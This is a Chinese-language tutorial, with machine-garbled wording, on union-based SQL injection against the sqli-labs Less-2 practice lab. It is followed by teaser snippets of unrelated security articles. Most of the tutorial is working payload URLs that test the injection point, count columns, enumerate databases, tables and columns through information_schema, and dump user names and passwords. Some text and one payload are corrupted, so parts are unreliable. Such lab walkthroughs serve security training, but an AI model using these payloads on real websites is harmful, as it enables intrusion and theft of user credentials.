所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。
查验是否可以注入
and 1=1 正常
and 1=2 犯错
http://localhost/sqlilabs/Less-2/?id=1 是一个注入点。
后台的SQL句子的写法大致为
select username,password,[....] from table where id=userinput得到字段总数
那么咱们经过运用order by的句子来判别select所查询字段的数目。
那么payload变为:
http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....
得到显现位当运用order by 4时程序犯错,那么select的字段一共是3个。
在页面上会显现从select中选取的字段,咱们接下来便是要判别显现的字段是哪几个字段。
运用如下的payload(两者均可)进行判别。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3
当运用个如上的payload时,页面的显现如下:
经过如上的页面显现就可以知道,页面中显现的是第2位和第3位的信息。
查选库
在知道了显现位之后,那么接下来就可以经过显现位来显现咱们想知道的信息,如数据库的版别,用户信息等等。那么咱们运用如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()
此刻页面的显现为:
可以看到在页面上就呈现了数据库的版别信息和当时运用的数据库信息。
那么接下来咱们经过这种办法知道数据库中一切的数据库的称号。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到之一个库名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二个库名
因为database()回来的便是当时web程序所运用的数据库名,那么咱们就运用database()来查询一切的表信息。当然在上一步中。咱们也现已知道当时的database便是security。查选表名
那么咱们结构的payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
这样咱们就得到当时数据库下一切的表名了。页面回来的成果是:
所以咱们知道在当时的数据库中存在4张表,分别是emails,referers,uagents,users。
查选列名
在知道了表名之后,接下来咱们运用information_schema.columns就可以依据表名来获取当时表中一切的字段。
payload如下:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六进制)
经过这个句子,咱们就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password这些字段。可是我本地测验的测验的时分,这个存在一个问题,实际上在security数据库的users的表中,只要id,username,password这3个字段,其他的字段都是其他数据库的中users表的字段名。
经过上面的payload,咱们也相同可以知道在emails,referers,uagents中的字段称号。
可是有的时分后台的代码或许仅用了运用where子句,那么这个时分就无法经过information_schema.coumns来得到列名了,这个时分只可以依据你自己多年的黑客经历来进行猜解了。猜解的办法也是比较的简略,运用exists子句就可以进行猜解了。假设在咱们现已知道了表名的情况下(当然猜解表名也运用经过exists子句来完结)。
猜解的句子如下:
http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)
如下如所示:首要的句子便是exists(select 需求猜解的列名 from users)这种句式。如果在users表中不存在uname列名,则页面不会显现内容或者是直接呈现sql的过错句子。
下面这个便是猜解到了users表中存在的字段。
http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)
脱裤猜想在users表中存在username列,上面的句子程序可以正常第回来成果,那么寿命在users表中的确存在username列名。
在知道了当时数据库一切的表名和字段名之后,接下来咱们就可以dump数据库中一切的信息了。比方咱们下载当时users表中一切的数据。
可以运用如下的payload:
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users
就可以得到users表中一切的username和password的数据了,经过这种办法也可以得到其他表中的数据了。
今日测验了一个网站,发现存在360webscan的阻拦,所以便开端了一波“bypass”。 进入主题 1. 判别注入点 运用“and 1=1”测验了一下,惨遭阻拦。随后又测验了一下or也是被阻拦的。...
Brida是一款 Burp Suite 扩展,作为一座桥梁衔接着Burp Suite以及Frida,以协助用户修正运用程序与后端服务器之间的通讯数据为己任。在剖析移动端运用时遇到运用运用随机密钥式对称...
WEB前端中最常见的两种安全危险,XSS与CSRF,XSS,即跨站脚本进犯、CSRF即跨站恳求假造,两者归于跨域安全进犯,关于常见的XSS以及CSRF在此不多议论,仅议论一些不太常见的跨域技能以及安全...
几周前我对某个手机银行使用进行测验。这个app用了一个结构,这个结构能够混杂、加密app与服务器进行的TLS衔接。我用Frida截获了加密环节之前的明文恳求/呼应。我期望能够修正截获的API调用,然后...
在这篇文章中,咱们将从攻击者的视点介绍怎么运用Azure信息维护(Azure Information Protection,AIP)来改善网络垂钓技能。这个主意是在一次测验作业进程中发生的,其时我正在...
Google能够给用户供给定制化的搜索成果,即便在匿名形式下也是相同。但DuckDuckGo的研讨人员标明,Google的搜索成果不只依据用户的地理位置数据以及之前搜索过的内容,并且还会依据用户的登录...